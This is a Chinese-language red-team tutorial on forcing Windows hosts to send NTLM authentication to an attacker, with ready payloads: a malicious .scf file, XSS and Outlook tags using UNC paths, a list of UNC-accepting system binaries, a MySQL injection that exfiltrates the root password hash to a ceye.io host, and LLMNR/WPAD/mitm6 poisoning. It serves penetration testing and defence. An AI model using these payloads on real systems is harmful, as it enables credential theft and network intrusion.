Windows内网协议学习NTLM篇之发起NTLM请求

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作者:daiker@360RedTeam

0x00 前言

这篇文章是ntlm篇的第二篇,怎么发起ntlm请求。在 阅读这篇文章之前,有两点说明

  1. 这篇文章的主要内容是使服务器向攻击者发起ntlm 请求,但是没有进一步利用,因此本篇文件的表述都是获得net-ntlm hash。使用Responder来捕获。Responder的用法可自行搜索。这里不展开。
  2. 有些地方较为敏感,因此使用的net-ntlm hash的截图并非真实图片。这个地方不重要,主要证明能发起请求就行,出现net-ntlm hash 截图的地方都是本地测试,真实收到请求的。

 

0x01 图标

1.desktop.ini

文件夹底下都有个文件desktop.ini来指定文件夹图标之类的。默认不可见。去掉隐藏受保护的操作系统文件就可以看到

每个文件夹底下都会有,我们新建一个新的文件夹的话,如果没看到desktop.ini,可以尝试更改图标,就可以看到了。

将图标路径改成UNC路径,指向我们的服务器

当用户访问该文件夹的时候会去访问UNC路径,我们就能获取用户的net-ntlm hash。

2. scf 文件

只要一个文件底下含有scf后缀的文件,由于scf文件包含了IconFile属性,所以Explore.exe会尝试获取文件的图标。而IconFile是支持UNC路径的。以下是scf后缀的文件的格式

[Shell]
Command=2
IconFile=\\172.16.100.1\scf\test.ico
[Taskbar]
Command=ToggleDesktop

新建test.scf,写入内容,放在一个文件夹底下,当用户访问该文件夹的时候,我们就会获得用户的net-ntlm hash。

3.用户头像

适用于Windows 10/2016/2019

在更改账户图片处。

用普通用户的权限指定一个webadv地址的图片,如果普通用户验证图片通过,那么SYSTEM用户(域内是机器用户)也去访问172.16.100.180,并且携带凭据,我们就可以拿到机器用户的net-ntlm hash,这个可以用来提权。后面会详细讲。

 

0x02 系统命令携带UNC路径

这个比较鸡肋,都能执行命令了,干啥不行呢。但作为一种场景,也说明下。说不定有些限制的命令注入就是支持传进UNC路径呢。我平时在测试的时候一般都是用 dir \\ip\xxx来做测试的,很多cmd命令是支持传进UNC路径的,执行的时候我们就可以拿到用户的net-ntlm hash了。至于有哪些命令。这篇文章总结了一些命令,总结得挺全面的。 内网渗透——针对hash的攻击

> net.exe use \hostshare 
> attrib.exe \hostshare  
> bcdboot.exe \hostshare  
> bdeunlock.exe \hostshare  
> cacls.exe \hostshare  
> certreq.exe \hostshare #(noisy, pops an error dialog) 
> certutil.exe \hostshare  
> cipher.exe \hostshare  
> ClipUp.exe -l \hostshare  
> cmdl32.exe \hostshare  
> cmstp.exe /s \hostshare  
> colorcpl.exe \hostshare #(noisy, pops an error dialog)  
> comp.exe /N=0 \hostshare \hostshare  
> compact.exe \hostshare  
> control.exe \hostshare  
> convertvhd.exe -source \hostshare -destination \hostshare  
> Defrag.exe \hostshare  
> diskperf.exe \hostshare  
> dispdiag.exe -out \hostshare  
> doskey.exe /MACROFILE=\hostshare  
> esentutl.exe /k \hostshare  
> expand.exe \hostshare  
> extrac32.exe \hostshare  
> FileHistory.exe \hostshare #(noisy, pops a gui)  
> findstr.exe * \hostshare  
> fontview.exe \hostshare #(noisy, pops an error dialog)  
> fvenotify.exe \hostshare #(noisy, pops an access denied error)  
> FXSCOVER.exe \hostshare #(noisy, pops GUI)  
> hwrcomp.exe -check \hostshare  
> hwrreg.exe \hostshare  
> icacls.exe \hostshare   
> licensingdiag.exe -cab \hostshare  
> lodctr.exe \hostshare  
> lpksetup.exe /p \hostshare /s  
> makecab.exe \hostshare  
> msiexec.exe /update \hostshare /quiet  
> msinfo32.exe \hostshare #(noisy, pops a "cannot open" dialog)  
> mspaint.exe \hostshare #(noisy, invalid path to png error)  
> msra.exe /openfile \hostshare #(noisy, error)  
> mstsc.exe \hostshare #(noisy, error)  
> netcfg.exe -l \hostshare -c p -i foo

 

0x03 XSS

利用xss构造

<script src="\\172.16.100.1\xss">

这种情况适用于IE和edge,其他浏览器不允许从http域跨到file域,以chrome为例

 

我们接下来尝试不通过UNC路径,就xss里面访问http请求来发起认证

把payload 改成

<script src="//172.16.100.1/x">

看到跳出认证框,我们也没抓到net-ntlm hash

不像smb请求直接用当然用户名和密码去登录,发起http请求时,除非该站点的域名位于企业内部网或存在于可信站点列表中。否则都会跳出认证框来让操作者再输入一次。

当我们选择自动使用当前用户名和密码登录就能拿到用户的net-ntlm hash

就可以抓到用户net-ntlm hash了

修改后的配置同样适用于chrome

那至今为止,在默认的配置情况底下,如果有xss,那构造的页面的效果有两种

  1. 构造unc,访问smb 协议,但是这种方式的话就只有IE和edge能行
<script src="\\172.16.100.1\xss">
  1. 构造http,访问http 协议,这种方式并不限制浏览器访问,但是除非该站点的域名位于企业内部网或存在于可信站点列表中,不然是不会使用系统默认的凭据进行登录的,会跳出认证框,让用户填写账号密码。
<script src="//172.16.100.1\xss">

第二点该站点的域名位于企业内部网也是行的,那如果我们可以修改控制域内的DNS是不是就可以动点手脚了。

在查看DNS的ACL的时候,我发现了一条规则

认证用户都可以在DNS里面创建子对象,也就意味着如果我们是域内认证 用户的话,那我们就可以在域内添加域名。我们使用在kerberos篇里面提到过的Powermad里面的Invoke-DNSUpdate添加一条DNS记录

然后将我们的payload 换成

<script  src="//xss\xss"></script>

由于此时的域名位于企业内部网,所以当用户触发xss的时候会以当前用户去认证,我们也就能拿到用户的net-ntlm hash。

 

0x04 outlook

发送邮件是支持html的,而且outlook里面的图片加载路径又可以是UNC。于是我们构造payload

<img src="\\172.16.100.1\outlook">

当收件人打开outlook查看邮件的时候

我们就收到net-ntlm hash了

 

0x05 PDF

PDF规范允许为GoTobe和GoToR条目加载远程内容。PDF文件可以添加一项功能,请求远程SMB服务器的文件。我们直接使用三好学生的脚本https://github.com/3gstudent/Worse-PDF

我们就收到net-ntlm hash

用户使用PDF阅读器打开,如果使用IE或是Chrome打开PDF文件,并不会执行。

在实际测试中使用Adobe

发现会有提示

 

0x06 office

首先新建一个word,贴近一张图片

然后用7zip 打开(没测试其他软件,可自行测试)

进入word\_rels,修改document.xml.rels

可以看到Target参数本来是本地的路径

修改为UNC路径,然后加上TargetMode=”External”

当打开word的时候,我们就拿到net-ntlm hash

 

0x07 MySQL

我们知道在MySQL注入的话,是可以通过带外通信把数据带出来。语法如下。

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));

需要具备loadfile权限,且没有securefile_priv的限制(5.5.53默认是空,之后的话默认为NULL就不好利用了,不排除一些管理员会改)

仔细观察我们会发现LOAD_FILE是支持UNC路劲

我们构造

select load_file('\\\\172.16.100.1\\mysql');

拿到net-ntlm hash

 

0x08 NBNS和LLMNR

windows 解析域名的顺序是

  • Hosts
  • DNS (cache / server)
  • LLMNR
  • NBNS

如果Hosts文件里面不存在,就会使用DNS解析。如果DNS解析失败,就会使用LLMNR解析,如果LLMNR解析失败,就会使用NBNS解析

1. LLMNR

LLMNR 是一种基于协议域名系统(DNS)数据包的格式,使得两者的IPv4和IPv6的主机进行名称解析为同一本地链路上的主机,因此也称作多播 DNS。监听的端口为 UDP/5355,支持 IP v4 和 IP v6 ,并且在 Linux 上也实现了此协议。其解析名称的特点为端到端,IPv4 的广播地址为 224.0.0.252,IPv6 的广播地址为 FF02:0:0:0:0:0:1:3 或 FF02::1:3。

LLMNR 进行名称解析的过程为:

  • 检查本地 NetBIOS 缓存
  • 如果缓存中没有则会像当前子网域发送广播
  • 当前子网域的其他主机收到并检查广播包,如果没有主机响应则请求失败

也就是说LLMNR并不需要一个服务器,而是采用广播包的形式,去询问DNS,跟ARP很像,那跟ARP投毒一样的一个安全问题就会出现。

当受害者访问一个不存在的域名的时候。比如 hhhhhhhhhhhhhhhhhhhh

受害者在Hosts 文件里面没有找到,通过DNS解析失败。就会通过LLMNR协议进行广播。

这个时候攻击者就发个响应包 hhhhhhhhhhhhhhhhhhhh对应的IP是x.x.x.x(这个ip是攻击者IP)进行LLMNR投毒。

这一步可以通过Responder 实现。

这个时候hhhhhhhhhhhhhhhhhhhh映射的ip就是攻击者的IP,当受害者访问hhhhhhhhhhhhhhhhhhhh就会访问攻击者的IP,攻击者就能拿到net-ntlm hash.

2. NBNS

全称是NetBIOS Name Service。

NetBIOS 协议进行名称解析的过程如下:

  • 检查本地 NetBIOS 缓存
  • 如果缓存中没有请求的名称且已配置了 WINS 服务器,接下来则会向 WINS 服务器发出请求
  • 如果没有配置 WINS 服务器或 WINS 服务器无响应则会向当前子网域发送广播
  • 如果发送广播后无任何主机响应则会读取本地的 lmhosts 文件

lmhosts 文件位于C:\Windows\System32\drivers\etc\目录中。

NetBIOS 协议进行名称解析是发送的 UDP 广播包。因此在没有配置 WINS 服务器的情况底下,LLMNR协议存在的安全问题,在NBNS协议里面同时存在。使用Responder也可以很方便得进行测试。这里不再重复展示。

 

0x09 WPAD和mitm6

wpad 全称是Web Proxy Auto-Discovery Protocol ,通过让浏览器自动发现代理服务器,定位代理配置文件PAC(在下文也叫做PAC文件或者wpad.dat),下载编译并运行,最终自动使用代理访问网络。

默认自动检测设置是开启的。

PAC文件的格式如下

function FindProxyForURL(url, host) {
if (url== 'http://www.baidu.com/') return 'DIRECT';
if (host== 'twitter.com') return 'SOCKS 127.0.0.10:7070';
if (dnsResolve(host) == '10.0.0.100') return 'PROXY 127.0.0.1:8086;DIRECT';
return 'DIRECT';
}

WPAD的一般请求流程是(图片来源乌云drop)

用户在访问网页时,首先会查询PAC文件的位置,然后获取PAC文件,将PAC文件作为代理配置文件。

查询PAC文件的顺序如下:

1.通过DHCP服务器

2.查询WPAD主机的IP

  • Hosts
  • DNS (cache / server)
  • LLMNR
  • NBNS

这个地方就涉及到两种攻击方式

1. 配合LLMNR/NBNS投毒

这是最早的攻击方式。用户在访问网页时,首先会查询PAC文件的位置。查询的地址是WPAD/wpad.dat。如果没有在域内专门配置这个域名的话,那么DNS解析失败的话,就会使用LLMNR发起广播包询问WPAD对应的ip是多少,这个时候我们就可以进行LLMNR投毒和NBNS投毒。Responder可以很方便得实现。

受害者通过llmnr询问wpad主机在哪里,Responder通过llmnr投毒将wpad的ip指向Responder所在的服务器

受害者访问WPAD/wpad.dat,Responder就能获取到用户的net-ntlm hash(这个Responder默认不开,因为害怕会有登录提醒,不利于后面的中间人攻击,可以加上-F 开启)

然后Responder通过伪造如下pac文件将代理指向 ISAProxySrv:3141。

function FindProxyForURL(url, host){
  if ((host == "localhost") 
      || shExpMatch(host, "localhost.*") 
      ||(host == "127.0.0.1") 
      || isPlainHostName(host)) return "DIRECT"; 
  if (dnsDomainIs(host, "RespProxySrv")
      ||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) 
    			return "DIRECT"; 
  return 'PROXY ISAProxySrv:3141; DIRECT';}

受害者会使用ISAProxySrv:3141作为代理,但是受害者不知道ISAProxySrv对应的ip是什么,所以会再次查询,Responder再次通过llmnr投毒进行欺骗。将ISAProxySrv指向Responder本身。然后开始中间人攻击。这个时候可以做的事就很多了。比如插入xss payload获取net-ntlm hash,中间人获取post,cookie等参数,通过basic认证进行钓鱼,诱导下载exe等等,Responder都支持。这里就不详细展开了。

然而,微软在2016年发布了MS16-077安全公告,添加了两个重要的保护措施,以缓解这类攻击行为:

1、系统再也无法通过广播协议来解析WPAD文件的位置,只能通过使用DHCP或DNS协议完成该任务。

2、更改了PAC文件下载的默认行为,以便当WinHTTP请求PAC文件时,不会自动发送客户端的域凭据来响应NTLM或协商身份验证质询。

2. 配合DHCPv6

前面说过,针对在查询WPAD的时候进行投毒欺骗这种攻击方式,微软添加了两个重要的保护措施

1.系统再也无法通过广播协议来解析WPAD文件的位置,只能通过使用DHCP或DNS协议完成该任务。

2.更改了PAC文件下载的默认行为,以便当WinHTTP请求PAC文件时,不会自动发送客户端的域凭据来响应NTLM或协商身份验证质询。

第二个保护措施比较好绕过,我们先来绕过这个。更改了PAC文件下载的默认行为,以便当WinHTTP请求PAC文件时,不会自动发送客户端的域凭据来响应NTLM或协商身份验证质询。这个其实比较好解决,在访问pac文件的时候,我们没办法获取到用户的net-ntlm hash。其实默认responder就不想在这一步获取net-ntlm hash,他默认不开启,要手动加-F选项才能开启。我们可以给用户返回一个正常的wpad。将代理指向我们自己,然后我们作为中间人。这个时候可以做的事就很多了。比如插入xss payload获取net-ntlm hash,中间人获取post,cookie等参数,通过basic认证进行钓鱼,诱导下载exe等等。这个可以回去上一小节配合LLMNR/NBNS投毒看看。

在网上也有一种比较巧妙的绕过姿势。我们可以给用户返回一个正常的wpad。将代理指向我们自己,当受害主机连接到我们的“代理”服务器时,我们可以通过HTTP CONNECT动作、或者GET请求所对应的完整URI路径来识别这个过程,然后回复HTTP 407错误(需要代理身份验证),这与401不同,IE/Edge以及Chrome浏览器(使用的是IE设置)会自动与代理服务器进行身份认证,即使在最新版本的Windows系统上也是如此。在Firefox中,用户可以配置这个选项,该选项默认处于启用状态。

所以我们接下来的任务是要来绕过第一个保护措施

系统再也无法通过广播协议来解析WPAD文件的位置,只能通过使用DHCP选项或DNS协议完成该任务。

这个就保证了llmnr投毒和nbns投毒不能用了。我们来回顾下用户获取pac文件的一般流程。

  1. 通过DHCP服务器
  2. 查询WPAD主机的IP
    • Hosts
    • DNS (cache / server)
    • LLMNR
    • NBNS

MS16-077之后,通过DHCP和DNS协议还可以获取到pac文件。

DHCP和DNS都有指定的服务器,不是通过广播包,而且dhcp服务器和dns服务器我们是不可控的,没法进行投毒。

幸运的是安全研究人员并不将目光局限在ipv4,从Windows Vista以来,所有的Windows系统(包括服务器版系统)都会启用IPv6网络,并且其优先级要高于IPv4网络。这里我们要用到DHCPV6协议。

DHCPv6协议中,客户端通过向组播地址发送Solicit报文来定位DHCPv6服务器,组播地址[ff02::1:2]包括整个地址链路范围内的所有DHCPv6服务器和中继代理。DHCPv6四步交互过程,客户端向[ff02::1:2]组播地址发送一个Solicit请求报文,DHCP服务器或中继代理回应Advertise消息告知客户端。客户端选择优先级最高的服务器并发送Request信息请求分配地址或其他配置信息,最后服务器回复包含确认地址,委托前缀和配置(如可用的DNS或NTP服务器)的Relay消息。通俗点来说就是,在可以使用ipv6的情况(Windows Vista以后默认开启),攻击者能接收到其他机器的dhcpv6组播包的情况下,攻击者最后可以让受害者的DNS设置为攻击者的IPv6地址。

Fox-IT公布了名为mitm6的一个工具,可以实施这种攻击。

mitm6首先侦听攻击者计算机的某个网卡上的DHCPV6流量。

当目标计算机重启或重新进行网络配置(如重新插入网线)时, 将会向DHCPv6发送请求获取IPv6配置

这个时候mitm6将回复这些DHCPv6请求,并在链接本地范围内为受害者分配一个IPv6地址。尽管在实际的IPv6网络中,这些地址是由主机自己自动分配的,不需要由DHCP服务器配置,但这使我们有机会将攻击者IP设置为受害者的默认IPv6 DNS服务器。应当注意,mitm6当前仅针对基于Windows的操作系统,因为其他操作系统(如macOS和Linux)不使用DHCPv6进行DNS服务器分配。

这个时候受害者的dns 服务器的地址已经设置为攻击者的IPv6地址。一旦受害机器将攻击者设置为IPv6 DNS服务器,它将立即开始查询网络的WPAD配置。由于这些DNS查询是发送给攻击者的,因此攻击者仅可以使用自己的IP地址作为WPAD对应的IP地址。

至此MS16-077的两个保护措施都能绕过,再遇到MS16-077之后的机子不妨试试这种方法。

 

0x0A XXE && SSRF

1. XXE

在xxe里面加载外部文件的时候,如果路径支持unc路径的话,是能拿到net-ntlm hash的。

这里使用javajavax.xml.parsers进行测试,测试代码如下

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(request.getInputStream());

成功打回net-ntlm hash

如果不支持UNC,可再测试http协议。

成功打回net-ntlm hash。

2. SSRF

在ssrf里面如果支持file协议,并且file协议能加载远程资源的话,是能拿到net-ntlm hash的。

这里使用JAVA的HttpURLConnection进行测试,测试代码如下

URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
HttpURLConnection httpUrl = (HttpURLConnection)urlConnection;
BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream()));

当只支持HTTP协议的时候,也是可能打回net-ntlm hash的。

成功打回net-ntlm hash

各个语言触发XXE和SSRF的实现不同。同一门语言也有不同的触发方式,这里并没有一一测试。

只要支持UNC路径都能打回net-ntlm hash,如果支持http的话,得看底层实现,有些底层实现是需要判断是否在信任域的,有些底层实现是不需要判断是否信任域,有些需要判断是否信任域里面,但是判断是否在信任域的代码是这样。

static class DefaultNTLMAuthenticationCallback extends NTLMAuthenticationCallback {
@Override
public boolean isTrustedSite(URL url) { return true; }
}

在xxe和ssrf测试中一般要测试这两个方面

  1. 支不支持UNC路径,比如\\ip\x或者file://ip/x
  2. 支不支持HTTP(这个一般支持),是不是需要信任域,信任域是怎么判断的

各个语言,各个模块的测试,这里并没有一一测试。

 

0x0B 打印机漏洞

Windows的MS-RPRN协议用于打印客户机和打印服务器之间的通信,默认情况下是启用的。协议定义的RpcRemoteFindFirstPrinterChangeNotificationEx()调用创建一个远程更改通知对象,该对象监视对打印机对象的更改,并将更改通知发送到打印客户端。

任何经过身份验证的域成员都可以连接到远程服务器的打印服务(spoolsv.exe),并请求对一个新的打印作业进行更新,令其将该通知发送给指定目标。之后它会将立即测试该连接,即向指定目标进行身份验证(攻击者可以选择通过Kerberos或NTLM进行验证)。另外微软表示这个bug是系统设计特点,无需修复。

如下图,使用printerbug.py对172.16.100.5发起请求,172.16.100.5就会向172.16.100.1发起ntlm 请求。

 

0x0C 引用文章

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